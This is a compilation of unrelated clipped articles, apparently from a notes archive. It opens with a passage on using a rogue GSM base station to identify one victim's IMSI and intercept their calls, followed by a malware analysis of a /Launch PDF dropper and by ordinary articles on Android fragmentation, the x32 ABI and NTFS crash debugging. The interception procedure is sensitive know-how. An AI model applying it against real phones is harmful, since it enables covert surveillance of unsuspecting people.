For every aforementioned step, the attacker performs the following
configuration actions to affect the least possible the rest of mobiles in his
radio range:  

  * Step 1: the attacker will configure its rogue base station so that each IMSI tries to register to it only once. This is convenient for him for several reasons: it will minimize any symptoms in the mobile phones in his range, and also he will reduce to the minimum redundant and useless information in his logs. One way to achieve this objective is to configure a Reject Cause Code 0x0C “Location Area Not Allowed”. This reject code is included by the base station in the “Location Update Procedure Reject” message, sent whenever the base station rejects a registration attempt. According to 3GPP 24.008 and the tests in our lab, the mobile station annotates the LAI \(Location Area Identifier\) in its “forbidden location areas” list and it will not try to register to any cell with this LAI \(at least not until the mobile station is reset or the SIM is removed\). This way, the attacker is forcing the mobile terminals in his range to try to register only once to his rogue base station, but they will continue to be able to register back to a legitimate base station.
  * Step 2: at this moment the attacker wants the victim’s mobile station to be rejected in its first registration attempt, as well as the other subscribers in his radio range. He can configure its rogue base station with a LAI different from the one used in the previous day, so that he will ensure that the mobile station will try to register again. Once identified the first IMSI matching any one stored the previous day, he shutdowns the base station.
  * Step 3: at this time, the attacker already knows the victim’s IMSI. He can then turn on again his rogue base station with a new LAI and with the victim’s IMSI authorized. When the victim’s mobile station tries to register, the registration will succeed and the attacker will be able to intercept the communications of the victim. All other mobile stations will try to register only once in the rogue base station and will register back to a legitimate cell, because the configured Reject Cause Code will still be 0x0C. 

This procedure would allow an attacker to identify the victim’s IMSI with a
first capture session that would last some minutes, and a second session in
which he would be able to selectively intercept the victim’s communications.
The only collateral effect on other mobile terminals in the attacker’s range
would be that they would try to register to his rogue base station, but only
once \(or twice at most\), and the users won’t even get an indication of this
fact on their screens.

# The Security Shoggoth: /Launch Malicious PDF

**Created:**| _4/27/2010 9:43:38 PM_  
---|---  
**Updated:**| _4/27/2010 9:44:06 PM_  
**Author:**| __  
**Tags:**| _attacks reversing Malware-analysis_  
  

### /Launch Malicious PDF

Wow - I'm posting\!\! :\)  
  
Today I, and others around the Internet, received an email that stated:  

> Subject: setting for your mailbox are changed  
>  
> SMTP and POP3 servers for YOUREMAILADDRHERE mailbox are  
> changed. Please carefully read the attached instructions  
> before updating settings.
The email had a PDF attached to it. Given the number of malicious PDFsthat
have been seen lately, this was likely a bad thing.  
  
Examining the PDF with Didier Steven's pdfid.py showed that there was an
OpenAction in the PDF, but no JavaScript. Interesting. Using pdf-parser.py,
the object pointed to by the OpenAction was examined:  
  
<img src='img/Temp2_8308.png' />  
This shows that the /Launch vulnerability/feature of PDFs is being used to
drop a VB script and execute it. What is interesting is the VB script \(named
script.vbs\) parses the original PDF for another VBS to run\! A quick look at
the PDF finds the other VBS:  
  
<img src='img/Temp2_8309.png' />  
  
\(The image above has had code removed for brevity.\)  
  
The new VBS \(named batscript.vbs\) contains an executable broken up into its
hex bytes. The script will write each byte out to a file named game.exe and
then will execute it. After executing, it sleeps for 3 seconds then covers its
tracks by deleting game.exe, batscript.vbs and script.vbs.  
  
game.exe, meanwhile, will copy itself to c:\program files\microsoft
common\svchost.exe and set itself up to run in the registry whenever
explorer.exe runs.  
  
While I know the /Launch vulnerability has been exploited recently, this is
the first I've seen on a mass-email scale \(but isn't the first ever\). I'm
sure we'll be seeing more of these as time goes on.

# Recommendation for the Transitioning of Cryptographic Algorithms and Key
Sizes

**Created:**| _1/15/2010 5:37:50 PM_  
---|---  
**Updated:**| _1/15/2010 5:38:05 PM_  
**Author:**| __  
**Tags:**| _crypto statistics_  
  
<img src='img/Temp2_6785' />

# Android Fragmentation - Business Insider

**Created:**| _8/24/2014 7:57:24 PM_  
---|---  
**Updated:**| _8/24/2014 7:57:24 PM_  
**Author:**| __  
**Tags:**| _android_  
  

<img src='img/Temp2_785.png' width='800' alt='android fragmentation
opensignal' />

OpenSignal

The graphic above is a scary one for Android users.

Each rectangle represents a unique Android device, and there are 18,796 of
them as of this month. The data comes from a company called OpenSignal, which
makes software for mobile devices that can track cellphone tower and WiFi
signals.

So, why is it a problem that there are at least 18,000 different devices
running Android?

That fragmentation is tough on developers, the folks who make apps you love.
When you're making software for so many devices, it's difficult to make sure
your app works well for each unique piece of hardware. It's part of the reason
why Android still tends to get new apps and updates later than the iPhone
does.

Screen size is difficult too, and Android devices come in a wild variety of
sizes. An app running on 4-inch screen will probably need some work to adapt
to a 5.5-inch screen, for example. And many developers simply don't have the
bandwidth or resources to tweak their apps for every Android device screen
size.

Here's OpenSignal's graphic showing the various Android device screen sizes:

<img src='img/Temp2_789.png' width='800' alt='android screen size graphic' />

OpenSignal

And here's a look at iPhone and iPad screen sizes. It's generally much easier
for developers to work with these:

<img src='img/Temp2_787.png' width='800' alt='ios device screen size' />

OpenSignal

The issue gets thornier when you look at the versions of Android those 18,000+
devices are running. Most Android devices today are running outdated software.
Many are still running Gingerbread \(2.3\), a version that launched nearly
four years ago.

Here's a look at the Android versions in use over time:

<img src='img/Temp2_788.png' width='800' alt='android version fragmentation'
/>

OpenSignal

Meanwhile, most iOS devices \(91%\) are running the latest version, which
makes things very easy for developers:

<img src='img/Temp2_786.png' width='800' alt='ios android version comparison'
/>

OpenSignal

But\!

There's some good news for Android users and developers. Recently, Google has
tweaked its developer tools to make it easier to make apps for the various
versions of Google. It also ensured that most of its users have the latest
version of Google Play Services, which include the Google Play store for apps,
movies, music, and other digital content, plus services like Google Maps,
Search, and Gmail. In June, Google said 97% of Android devices have the latest
version of Google Play.

Still, it's too early to tell if Google's efforts to tamp down fragmentation
will pay off. Plus, with so many different form factors out there, it's nearly
an impossible task for developers to make sure their apps look as good as they
can on every device.

Some think that Google's massive 80%+ market share will allow it to beat Apple
in the long run. Technology is a platform game, these folks argue, and the
company with the largest platform will ultimately win.

Google has the biggest platform by a mile, but it's still an afterthought for
most developers. The fragmentation in both hardware and software shown above
is largely to blame.

SEE ALSO:  The best smartphones in the world

# x32-abi

**Created:**| _9/10/2011 2:59:21 PM_  
---|---  
**Updated:**| _9/14/2011 9:10:40 AM_  
**Author:**| __  
**Tags:**| _Linux x86 x64_  
  

**X32 System V Application Binary Interface**  
  

A new 32bit psABI for x86-64 with 32bit pointer size.  

* * *
|  <img src='img/Temp2_10744.png' />  
|

### Tasks & Actions  

Action items  
  
---|---  
<img src='img/Temp2_10742.png' />  
|

### Recent Updates  

Site activity feed  
  
---|---  
|  <img src='img/Temp2_10745.png' height='55px' />  
|

### Calendar

Important dates  
---|---  
<img src='img/Temp2_10743.png' />  
|

### Project Documents  

Documents  
  
---|---  
****

* * *
******News  
**

  * As of revision 177914, all x32 changes have been merged with GCC trunk.  

  * Update x32 psABI to add R\_X86\_64\_RELATIVE64 relocation for x32.  

  * Update x32 psABI to allow R\_X86\_64\_64 relocation.  

  * Update x32 psABI to specify that pointers are zero-extended to 64bit when returned or passed in a register.  

  * The preliminary system call number scheme is:

  * In kernel, x86-64 and x32 share the same system call slot if they are the same.
  * First 512 system call slots are reserved for common and x86-64 specific ones. X32 specific system call slots start at 512.  

  * All x32 system call numbers have the bit 30 set.
  * This scheme is implemented on hjl/x32/syscall/v3.0 kernel branch.  

**Current Status  
**

  * X32 psABI draft is in Project Documents  

  * Its source is available on hjl/x32 banch at

http://git.kernel.org/?p=devel/binutils/hjl/x86-64-psabi.git;a=summary  

  * The GNU binutils support is available on master branch at

http://sourceware.org/git/?p=binutils.git;a=summary  
  
Only GNU linker supports x32. Gold doesn't support x32.  

  * Linux kernel 3.0 prototype is available on hjl/x32/syscall/v3.0 branch at

http://git.kernel.org/?p=linux/kernel/git/hjl/linux-2.6.git;a=summary  
  
X32 support is enabled by setting CONFIG\_X86\_X32\_ABI=y in .config.  

  * GDB support is on hjl/x32 branch at  

http://git.kernel.org/?p=devel/gdb/hjl/x86.git;a=summary  

  * Glibc port is on hjl/x32 branch at

http://git.kernel.org/?p=devel/glibc/hjl/x86.git;a=summary  

  * X32 is functional complete with C, C++, Objective C and Fortran on GCC trunk as of revision 177914.

**  
Related work:  
**

  * J. Liu and Y. Wu. Performance characterization of the 64-bit x86 architecture from compiler optimizations’ perspective. In Proceedings of the International Conference on Compiler Construction, CC’06, 2006

http://www.springerlink.com/index/521324472703w117.pdf

**Comparison  
**

  * Test machines:

  * Fedora 14/x86-64

  * kernel-2.6.35.11-84.3.fc14
  * glibc-2.13-1
  * X32 glibc

  * 181.mcf from SPEC CPU 2000 \(memory bound\):

  * Intel Core i7  

  * ~32% faster than x86-64.
  * ~1% slower than ia32.
  * Sizes in bytes:

text data bss dec hex filename  
12155 336 7036 19527 4c47 mcf.32  
12421 664 13568 26653 681d mcf.64  
11583 412 7040 19035 4a5b mcf.x32  

  * Intel Atom  

  * ~28% faster than x86-64.
  * ~0.5% slower than ia32.
  * Sizes in bytes:

text data bss dec hex filename  
12059 336 7036 19431 4be7 mcf.32  
12341 664 13568 26573 67cd mcf.64  
11411 412 7040 18863 49af mcf.x32  

  * 186.crafty from SPEC CPU 2000 \(64bit integer\):

  * Intel Core i7  

  * ~5% slower than x86-64.
  * ~29% faster than ia32.
  * Sizes in bytes:

text data bss dec hex filename  
200519 16388 1068916 1285823 139ebf crafty.32  
172389 16868 1069784 1259041 133621 crafty.64  
174723 16564 1068916 1260203 133aab crafty.x32  

  * Intel Atom  

  * ~6% slower than x86-64.
  * ~7% faster than ia32.
  * Sizes in bytes:

text data bss dec hex filename  
199339 16388 1068916 1284643 139a23 crafty.32  
171157 16868 1069784 1257809 133151 crafty.64  
173535 16564 1068916 1259015 133607 crafty.x32  
  

**X32 API**  

  * X32 API is designed for environments where the current ia32 API is sufficient. It can be viewed as ia32 with register extended to 64bit plus 8 more registers as well as IP relative address. Everything else is still 32bit.
  * X32 kernel interface uses the same kernel structure layouts as ia32, implemented with "syscall" instruction.

  * Use the same 64bit system calls with 64bit arguments:

  * Both 32bit and 64bit values can be passed in 64bit argument.  

  * In kernel facing data structures, the long long field in struct/union is aligned at 4 byte, not 8 byte.  

  * The future x32 kernel system call interface:

  * Should we change time\_t from 32bit to 64bit?

**Get Started**  

  * Install Fedora 15/x86-64 with the latest updates.
  * Get x32 enabled rpms from  

http://www.kernel.org/pub/linux/libs/glibc/hjl/x32/fedora/15/  

  1. Update to x32 enabled yum first: \# yum update yum
  2. Update to x32 enabled rpm and kernel: \# yum update  

  3. Install glibc x32 binary rpms: \# yum install glibc-devel.x32glibc-static.x32
  4. Untar x32 libgcc under /.  

  * Install the latest binutils:

  * Download the latest binutils snapshot from:  
  
ftp://sourceware.org/pub/binutils/snapshots/binutils-2.21.51.tar.bz2  

  * Configure, build and install binutils as usual:

  * ../configure --target=x86\_64-pc-linux-gnu ....

  * Make sure that the new x32 as, ld .... are in the front of your PATH such that they will be used by x32 GCC.

  * Install x32 GDB:

  * Check out hjl/x32 branch at:  
  
http://git.kernel.org/?p=devel/gdb/hjl/x86.git;a=summary  
  

  * Configure, build and install GDB as usual:

  * ../configure --target=x86\_64-pc-linux-gnu ....  

  * X32 GDB can debug ia32, x86-64 and x32 binaries.  

  * Install x32 GCC  

  * Check out GCC trunk.
  * Configure GCC with --enable-languages=c,c++,fortran,objc --with-multilib-list=m32,m64,mx32
  * Build and install x32 GCC:

  * Copy x32 libgcc\_s.so.1 to /libx32 by hand.  

  * X32 GCC supports:

  * -m32: To generate ia32 binaries.
  * -m64: To generate x86-64 binaries.
  * -mx32: To generate x32 binaries.

  * Build x32 glibc:

  * Check out glibc hjl/x32 branch at:  
  
http://git.kernel.org/?p=devel/glibc/hjl/x86.git;a=summary  

  * Configure glibc with:

CC="x32-gcc -mx32" CXX="x32-g++ -mx32" CFLAGS="-O2 -g" ../configure  

\(the "x32-" prefix is only needed if you installed your tools that way\)  
  
"make xcheck" should only have a few expected failures:  

  1. nptl/tst-cancel-wrappers.out
  2. rt/tst-cpuclock2.out
  3. rt/tst-cputimer1.out  

**Compiling for x32**  

  * The target tuple is the same as an x86\_64 system. e.g. x86\_64-linux
  * The toolchain will support both x86\_64 and x32 binaries. The default is still x86\_64, but x32 support can be selected by various flags at runtime:
  * Selecting x32 depends on the tool:

  * gas: --x32
  * ld: -m elf32\_x86\_64
  * gcc: -mx32
  * gdb: bfd automatically detects things

  * gcc will automatically pass the correct flags down to the assembler/linker when it is given -mx32 itself.
  * Differences between x32 and x86\_64:

  * long and pointer sizes:

  * X32: 32bits.
  * X86\_64: 64bits

  * Library API is the same as ia32.

  * To compile a package for x32:

  * Always add -mx32 to compiler and configure it as x86-64:

  * To configure C and C++ programs, use

  * CC="gcc -mx32 " CXX="g++ -mx32" ./configure  

  * Add x32 support on existing x86\_64 support:

  * C/C++ codes:

  * Use int64\_t or long long instead of long for 64bit integer.

  * Assembler codes:

  * Use 32bit instructions on long and pointer.

  * You can do

\#ifdef \_\_x86\_64\_\_  
...  
\# ifdef \_\_LP64\_\_  
LP64 code  
\# else  
X32 code  
\# endif  
....  
\#endif /\* \_\_x86\_64\_\_ support. \*/  
  
See libgcc/config/i386/morestack.S on x32 branch in GCC source for examples.  
  

**What You Can Help  
**

  * GCC

  * The current x32 implementation isn't optimized:

  * Atom LEA optimization is disabled.
  * Memory addressing should be optimized.  

  * Enable other languages for x32.  

  * Kernel:

  * The preliminary system call number scheme is:

  * In kernel, x86-64 and x32 share the same system call slot if they are the same.
  * First 512 system call slots are reserved for common and x86-64 specific ones. X32 specific system call slots start at 512.  

  * All x32 system call numbers have the bit 30 set.  

  * Add a meta register to ptrace interface to identify x32 process.  

  * Port additional packages:

  * strace
  * valgrind
  * openssl
  * gmp
  * mpfr

# F\# Language Overview

**Created:**| _11/5/2009 8:51:34 PM_  
---|---  
**Updated:**| _11/5/2009 8:51:58 PM_  
**Author:**| __  
**Tags:**| _Tutorials programming F\#_  
  
<img src='img/Temp2_3054' />

# Uncover the mystery of a bugcheck 0x24 \(NTFS\_FILE\_SYSTEM\) - Ntdebugging
Blog - Site Home - MSDN Blogs

**Created:**| _5/1/2015 10:41:52 AM_  
---|---  
**Updated:**| _5/1/2015 10:41:52 AM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

### Uncover the mystery of a bugcheck 0x24 \(NTFS\_FILE\_SYSTEM\)

ntdebug

30 Apr 2015 3:25 PM

  * 0

My name is Nan, I am an Escalation Engineer in Platforms Global Escalation
Services in GCR. Today I’d like to share an interesting sample case with
respect to filter manager to showcase the powerful debugging extension
fltkd.dll \(it is included in the public debugging tools\) and talk about
Filter Manager/Minifilter architecture briefly through the investigation.

Recently I worked on an interesting server bugcheck case where Windows Server
2012 R2 would crash with bugcheck code 0x24 \(NTFS\_FILE\_SYSTEM\) after
mounting a ReFS volume.

3: kd> .bugcheck

Bugcheck code 00000024

Arguments 000000b5\`00190637 ffffd000\`23f17e58 ffffd000\`23f17660
fffff800\`00cf95c7

The 2nd and 3rd parameters are the exception record and context record. Do a
.cxr on the 3rd parameter and we obtain a more informative stack.

3: kd> .cxr ffffd00023f17660

rax=ffffe0003c8dae20 rbx=ffffc00003dba2c0 rcx=0000000000000018

rdx=ffffe0003c84bc60 rsi=ffffd00023f18210 rdi=ffffc00003dba120

rip=fffff80000cf95c7 rsp=ffffd00023f18090 rbp=0000000000000000

r8=0000000100000000 r9=0000000000000001 r10=0000000000000004

r11=ffffd00023f18168 r12=0000000000000000 r13=ffffe0003c84bf70

r14=0000000000000005 r15=0000000000000000

iopl=0 nv up ei ng nz na pe nc

cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282

Ntfs\!NtfsCommonQueryInformation+0xa7:

fffff800\`00cf95c7 418b4104 mov eax,dword ptr \[r9+4\]
ds:002b:00000000\`00000005=???????? <<<< R9 has invalid data.

3: kd> knL

\*\*\* Stack trace for last set context - .thread/.cxr resets it

\# Child-SP RetAddr Call Site

00 ffffd000\`23f18090 fffff800\`00d00813 Ntfs\!NtfsCommonQueryInformation+0xa7

01 ffffd000\`23f18170 fffff800\`00d01156 Ntfs\!NtfsFsdDispatchSwitch+0xd3

02 ffffd000\`23f181f0 fffff800\`00402f3e Ntfs\!NtfsFsdDispatchWait+0x47

03 ffffd000\`23f18440 fffff800\`00406986
FLTMGR\!FltpLegacyProcessingAfterPreCallbacksCompleted+0x25e

04 ffffd000\`23f184c0 fffff800\`0042ef2a FLTMGR\!FltPerformSynchronousIo+0x2b6

05 ffffd000\`23f18570 fffff800\`01041843 FLTMGR\!FltQueryInformationFile+0x52

06 ffffd000\`23f185b0 fffff800\`010417bb av+0x3843

07 ffffd000\`23f18600 fffff800\`00f1c06d av+0x37bb

08 ffffd000\`23f18630 fffff800\`00401eea fltdrv1+0xc06d

09 ffffd000\`23f18720 fffff800\`00405c13 FLTMGR\!FltpPerformPreCallbacks+0x31a

0a ffffd000\`23f18830 fffff800\`0042bcf2 FLTMGR\!FltpPassThroughFastIo+0x73

0b ffffd000\`23f18890 fffff801\`6c9b62b1
FLTMGR\!FltpFastIoQueryStandardInfo+0x132

0c ffffd000\`23f18920 fffff801\`6c7684b3 nt\!NtQueryInformationFile+0x3e1

0d ffffd000\`23f18a90 00007ff9\`e632668a nt\!KiSystemServiceCopyEnd+0x13

0e 00000000\`09bcd828 00000000\`00000000 0x00007ff9\`e632668a

An exception happens in Ntfs.sys because Ntfs\!NtfsCommonQueryInformation
attempts to access an invalid memory address in kernel mode. We look back a
few instructions to figure how R9 obtains the bogus value.

3: kd> ub fffff80000cf95c7

Ntfs\!NtfsCommonQueryInformation+0x81:

fffff800\`00cf95a1 4c8b8fa8000000 mov r9,qword ptr \[rdi+0A8h\] <<<< where R9
value is obtained.

fffff800\`00cf95a8 4d894bb0 mov qword ptr \[r11-50h\],r9

fffff800\`00cf95ac 4d894ba0 mov qword ptr \[r11-60h\],r9

fffff800\`00cf95b0 488b5820 mov rbx,qword ptr \[rax+20h\]

fffff800\`00cf95b4 49895ba8 mov qword ptr \[r11-58h\],rbx

fffff800\`00cf95b8 4c8b87a0000000 mov r8,qword ptr \[rdi+0A0h\]

fffff800\`00cf95bf 4d894388 mov qword ptr \[r11-78h\],r8

fffff800\`00cf95c3 4d894398 mov qword ptr \[r11-68h\],r8

3: kd> r rdi

Last set context:

rdi=ffffc00003dba120

Data in R9 is obtained from memory being referenced by RDI+0A8h. Typically it
is supposed to be an opaque structure pertaining to NTFS. Before giving up and
engaging Microsoft support, we can give another shot by our old friend \!pool
extension.

3: kd> \!pool ffffc00003dba120 2

Pool page ffffc00003dba120 region is Paged pool

\*ffffc00003dba000 size: 450 previous size: 0 \(Allocated\) \*Reff

Pooltag Reff : FCB\_DATA, Binary : refs.sys

To my surprise, the pool tag points to ReFS. Let’s revisit the call stack
above, it crashes in Ntfs path clearly. How the query operation against Ntfs
end up referencing something in ReFS?

Instead of doing the bottom-up analysis, we can take the top-down approach in
effort to figure out more information. Let’s revisit the call stack again. The
top entry on the stack is nt\!NtQueryInformationFile that enters Filter
Manager and winds up calling FltpPerformPreCallbacks function, which calls
into 3rd party driver fltdrv1.sys.

3: kd> knL

\*\*\* Stack trace for last set context - .thread/.cxr resets it

\# Child-SP RetAddr Call Site

00 ffffd000\`23f18090 fffff800\`00d00813 Ntfs\!NtfsCommonQueryInformation+0xa7

01 ffffd000\`23f18170 fffff800\`00d01156 Ntfs\!NtfsFsdDispatchSwitch+0xd3

02 ffffd000\`23f181f0 fffff800\`00402f3e Ntfs\!NtfsFsdDispatchWait+0x47

03 ffffd000\`23f18440 fffff800\`00406986
FLTMGR\!FltpLegacyProcessingAfterPreCallbacksCompleted+0x25e

04 ffffd000\`23f184c0 fffff800\`0042ef2a FLTMGR\!FltPerformSynchronousIo+0x2b6

05 ffffd000\`23f18570 fffff800\`01041843 FLTMGR\!FltQueryInformationFile+0x52

06 ffffd000\`23f185b0 fffff800\`010417bb av+0x3843

07 ffffd000\`23f18600 fffff800\`00f1c06d av+0x37bb

08 ffffd000\`23f18630 fffff800\`00401eea fltdrv1+0xc06d

09 ffffd000\`23f18720 fffff800\`00405c13 FLTMGR\!FltpPerformPreCallbacks+0x31a

0a ffffd000\`23f18830 fffff800\`0042bcf2 FLTMGR\!FltpPassThroughFastIo+0x73

0b ffffd000\`23f18890 fffff801\`6c9b62b1
FLTMGR\!FltpFastIoQueryStandardInfo+0x132

0c ffffd000\`23f18920 fffff801\`6c7684b3 nt\!NtQueryInformationFile+0x3e1

0d ffffd000\`23f18a90 00007ff9\`e632668a nt\!KiSystemServiceCopyEnd+0x13

0e 00000000\`09bcd828 00000000\`00000000 0x00007ff9\`e632668a

As implied by the function name FLTMGR\!FltpPerformPreCallbacks, we can
suppose it is calling some call back routine in 3rd party driver fltdrv1.sys
which is a minifilter registered in Filter Manager.

In the Filter Manager architecture a minifilter driver can filter IRP-based
I/O operations as well as fast I/O and file system filter \(FSFilter\)
callback operations. For each of the I/O operations it chooses to filter, a
minifilter driver can register a preoperation callback routine, a
postoperation callback routine, or both. When handling an I/O operation, the
filter manager calls the appropriate callback routine for each minifilter
driver that registered for that operation. When that callback routine returns,
the filter manager calls the appropriate callback routine for the next
minifilter driver that registered for the operation.

So FLTMGR\!FltpPerformPreCallbacks is supposed to invoke the preoperation call
back inside fltdrv1.sys, Here is how preoperation call back is declared.

typedef FLT\_PREOP\_CALLBACK\_STATUS \( \*PFLT\_PRE\_OPERATION\_CALLBACK\)\(

\_Inout\_ PFLT\_CALLBACK\_DATA Data,

\_In\_ PCFLT\_RELATED\_OBJECTS FltObjects,

\_Out\_ PVOID \*CompletionContext

\);

The FLT\_CALLBACK\_DATA structure represents an I/O operation. The Filter
Manager and minifilters use this structure to initiate and process I/O
operations. In this structure Iopb pointers to an FLT\_IO\_PARAMETER\_BLOCK
structure that contains the parameters for the I/O operation.

So let’s decode the assembly code FLTMGR\!FltpPerformPreCallbacks and figure
out the parameters it passes into the 3rd party callback first.

3: kd> ub fffff800\`00401eea

FLTMGR\!FltpPerformPreCallbacks+0x2ff:

fffff800\`00401ecf 7810 js FLTMGR\!FltpPerformPreCallbacks+0x311
\(fffff800\`00401ee1\)

fffff800\`00401ed1 000f add byte ptr \[rdi\],cl

fffff800\`00401ed3 85d2 test edx,edx

fffff800\`00401ed5 c00000 rol byte ptr \[rax\],0

fffff800\`00401ed8 4c8d45bf lea r8,\[rbp-41h\]

fffff800\`00401edc 488d55d7 lea rdx,\[rbp-29h\]

fffff800\`00401ee0 488d8bd8000000 lea rcx,\[rbx+0D8h\] <<<< this has the first
parameter Data

fffff800\`00401ee7 ff5618 call qword ptr \[rsi+18h\]

3: kd> .frame /r 09

09 ffffd000\`23f18720 fffff800\`00405c13 FLTMGR\!FltpPerformPreCallbacks+0x31a

rax=ffffe0003c8dae20 rbx=ffffe0003c8d2c80 rcx=0000000000000018

rdx=ffffe0003c84bc60 rsi=ffffe0000165b560 rdi=ffffe0003c884890

rip=fffff80000401eea rsp=ffffd00023f18720 rbp=ffffd00023f187c9

r8=0000000100000000 r9=0000000000000001 r10=0000000000000004

r11=ffffd00023f18168 r12=ffffe0003c8d2d00 r13=ffffe0000165b010

r14=ffffe0003c8d2df8 r15=0000000000000004

iopl=0 nv up ei ng nz na pe nc

cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282

FLTMGR\!FltpPerformPreCallbacks+0x31a:

fffff800\`00401eea 8bf8 mov edi,eax

3: kd> dt ffffe0003c8d2c80+d8 \_FLT\_CALLBACK\_DATA

FLTMGR\!\_FLT\_CALLBACK\_DATA

+0x000 Flags : 2

+0x008 Thread : 0xffffe000\`0375c880 \_KTHREAD

+0x010 Iopb : 0xffffe000\`3c8d2db0 \_FLT\_IO\_PARAMETER\_BLOCK

…

3: kd> dt 0xffffe000\`3c8d2db0 \_FLT\_IO\_PARAMETER\_BLOCK

FLTMGR\!\_FLT\_IO\_PARAMETER\_BLOCK

+0x000 IrpFlags : 0

+0x004 MajorFunction : 0x5 ''

+0x005 MinorFunction : 0 ''

+0x006 OperationFlags : 0 ''

+0x007 Reserved : 0 ''

+0x008 TargetFileObject : 0xffffe000\`3c884890 \_FILE\_OBJECT

+0x010 TargetInstance : 0xffffe000\`0165b010 \_FLT\_INSTANCE

What we are concerned about are parameters TargetFileObject and
TargetInstance.

  * TargetFileObject - A file object pointer for the file or directory that is the target for this I/O operation.
  * TargetInstance - An opaque instance pointer for the minifilter that is the target for this I/O operation.

Let’s dump the TargetFileObject first, it is a file open on HarddiskVolume4.

3: kd> \!fileobj 0xffffe000\`3c884890

\AV-REDIRECT-F3392236-BA8C-4AD9-8AEA-48F099A8EE9C\ffffe0003c8dae20.ini

Device Object: 0xffffe000011009b0 \Driver\volmgr

Vpb is NULL

Event signalled

Flags: 0x40002

Synchronous IO

Handle Created

File Object is currently busy and has 0 waiters.

FsContext: 0x00000000 FsContext2: 0x46527641

CurrentByteOffset: 0

3: kd> \!devstack 0xffffe000011009b0

\!DevObj \!DrvObj \!DevExt ObjectName

ffffe00001143040 \Driver\volsnap ffffe00001143190

> ffffe000011009b0 \Driver\volmgr ffffe00001100b00 HarddiskVolume4
\!DevNode ffffe00001148a50 :

DeviceInst is
"STORAGE\Volume\\\{19df1540-2f74-11e4-80bb-0050568127c8\}\#0000000000100000"

ServiceName is "volsnap"

The target File open is \AV-
REDIRECT-F3392236-BA8C-4AD9-8AEA-48F099A8EE9C\ffffe0003c8dae20.ini on
HarddiskVolume4. Next, what is the target filter instance?

In short, a minifilter driver attaches to the file system stack indirectly, by
registering with the filter manager for the I/O operations the minifilter
driver chooses to filter. An instance represents an attachment of a filter on
a volume.**** Here is an excellent article to elaborate how filter
attach/altitudes works.

Public symbols for fltmgr.sys does include the definitions of various key
filter manager structures. We don’t bother to browse the structure manually.
There is a public debug extension fltkd.dll and we can use it to view the
instance in a very neat way. Here is how we print out the filter instance in
question.

3: kd> \!fltkd.instance 0xffffe000\`0165b010

FLT\_INSTANCE: ffffe0000165b010 "FLTDRV1" "388920" <<<< instance name and
altitude \#

FLT\_OBJECT: ffffe0000165b010 \[01000000\] Instance

RundownRef : 0x0000000000000002 \(1\)

PointerCount : 0x00000001

PrimaryLink : \[ffffe0000165dab0-ffffe00002501108\]

OperationRundownRef : ffffe000025035b0

Could not read field "Number" of fltmgr\!\_EX\_RUNDOWN\_REF\_CACHE\_AWARE from
address: ffffe000025035b0

Flags : \[00000000\]

Volume : ffffe00002501010 "\Device\HarddiskVolume4" <<<< the underlying volume
filter instance attaches to.

Filter : ffffe000011f1010 "fltdrv1" <<<< filter name

TrackCompletionNodes : ffffe0000165bda0

ContextLock : \(ffffe0000165b080\)

Context : 0000000000000000

CallbackNodes : \(ffffe0000165b0a0\)

VolumeLink : \[ffffe0000165dab0-ffffe00002501108\]

FilterLink : \[ffffe00001650070-ffffe0000164c340\]

In \!fltkd.instance output, we can see the instance passed into 3rd party pre-
operation call back is attached to the volume "\Device\HarddiskVolume4”.
Filter in the output describes a minifilter. We can run \!fltkd.filter to
print out the details of filter.

3: kd> \!fltkd.filter ffffe000011f1010

FLT\_FILTER: ffffe000011f1010 "fltdrv1" "388920"

FLT\_OBJECT: ffffe000011f1010 \[02000000\] Filter

RundownRef : 0x0000000000000026 \(19\)

PointerCount : 0x00000002

PrimaryLink : \[ffffe00000a9ac60-ffffe00000ab50c0\]

Frame : ffffe00000ab5010 "Frame 0"

Flags : \[00000002\] FilteringInitiated

DriverObject : ffffe0000119f9c0

FilterLink : \[ffffe00000a9ac60-ffffe00000ab50c0\] \*\*\* ERROR: Module load
completed but symbols could not be loaded for fltdrv1.sys

PreVolumeMount : fffff80000f1bd78 fltdrv1+0xbd78

PostVolumeMount : fffff80000f1c354 fltdrv1+0xc354

FilterUnload : 0000000000000000 \(null\)

InstanceSetup : fffff80000f1c528 fltdrv1+0xc528

…

InstanceList : \(ffffe000011f1068\) <<<< all filter instances this filter
creates.

FLT\_INSTANCE: ffffe000011e6640 "FLTDRV1" "388920"

…

FLT\_INSTANCE: ffffe0000173d010 "FLTDRV1" "388920"

FLT\_INSTANCE: ffffe00001793010 "FLTDRV1" "388920"

FLT\_INSTANCE: ffffe00001787010 "FLTDRV1" "388920"

A side note about Filter Frame, for interoperability with legacy filter
drivers the filter manager can attach filter device objects to a file system
I/O stack in more than one location. Each of the filter manager's filter
device objects is called a frame. From the perspective of a legacy filter
driver, each filter manager frame is just another legacy filter driver. If
there are no legacy filters present, there is only one frame, "Frame 0". If
there are some legacy filters present on the system \(attached on top of Frame
0\), FltMgr might create more frames. We can view all frames Filter Manager
manages by running \!fltkd.frames

In \!fltkd.instance output, it also displays the volume object filter instance
is attached to. We can also dump out the Filter Volume and see all filter
instances attached to it. All filter instances are displayed in order of
altitude \(number next to the filter instance name\). Filter manager will
process the I/O from filter with higher altitude to one with lower altitude.
The filter I figured out just now is the top one and its filter instance
altitude implies FLTDRV1 is a sort of FSFilter Activity Monitor.

3: kd> \!fltkd.volume ffffe00002501010

FLT\_VOLUME: ffffe00002501010 "\Device\HarddiskVolume4"

FLT\_OBJECT: ffffe00002501010 \[04000000\] Volume

RundownRef : 0x000000000000000a \(5\)

PointerCount : 0x00000001

PrimaryLink : \[ffffe0000165a020-ffffe0000254f020\]

Frame : ffffe00000ab5010 "Frame 0"

Flags : \[00000064\] SetupNotifyCalled EnableNameCaching FilterAttached

FileSystemType : \[00000002\] FLT\_FSTYPE\_NTFS

VolumeLink : \[ffffe0000165a020-ffffe0000254f020\]

DeviceObject : ffffe00002501df0

DiskDeviceObject : ffffe000011009b0

FrameZeroVolume : ffffe00002501010

VolumeInNextFrame : 0000000000000000

Guid : "\??\Volume\{19df169b-2f74-11e4-80bb-0050568127c8\}"

CDODeviceName : "\Ntfs"

CDODriverName : "\FileSystem\Ntfs"

TargetedOpenCount : 0

Callbacks : \(ffffe00002501120\)

ContextLock : \(ffffe00002501508\)

VolumeContexts : \(ffffe00002501510\) Count=0

StreamListCtrls : \(ffffe00002501518\) rCount=4

FileListCtrls : \(ffffe00002501598\) rCount=0

